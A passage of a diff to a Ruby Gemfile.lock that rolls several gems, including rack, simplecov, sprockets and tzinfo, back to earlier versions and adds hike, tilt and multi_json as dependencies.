4.1.0) recog (~> 1.0) method_source (0.8.2) - mime-types (2.5) + mime-types (2.4.3) mini_portile (0.6.2) minitest (4.7.5) msgpack (0.5.11) @@ -155,7 +156,7 @@ GEM coderay (~> 1.1.0) method_source (~> 0.8.1) slop (~> 3.4) - rack (1.5.3) + rack (1.5.2) rack-test (0.6.3) rack (>= 1.0) rails (4.0.13) @@ -201,23 +202,27 @@ GEM rubyzip (1.1.7) shoulda-matchers (2.8.0) activesupport (>= 3.0.0) - simplecov (0.10.0) + simplecov (0.9.2) docile (~> 1.1.0) - json (~> 1.8) - simplecov-html (~> 0.10.0) - simplecov-html (0.10.0) + multi_json (~> 1.0) + simplecov-html (~> 0.9.0) + simplecov-html (0.9.0) slop (3.6.0) - sprockets (3.1.0) + sprockets (2.12.3) + hike (~> 1.2) + multi_json (~> 1.0) rack (~> 1.0) - sprockets-rails (2.3.1) + tilt (~> 1.1, != 1.3.0) + sprockets-rails (2.2.4) actionpack (>= 3.0) activesupport (>= 3.0) sprockets (>= 2.8, < 4.0) sqlite3 (1.3.10) thor (0.19.1) thread_safe (0.3.5) + tilt (1.4.1) timecop (0.7.3) - tzinfo (0.3.44) + tzinfo (0.3.43) xpath (2.0.0) nokogiri (~> 1.3) yard (0.8.7.6)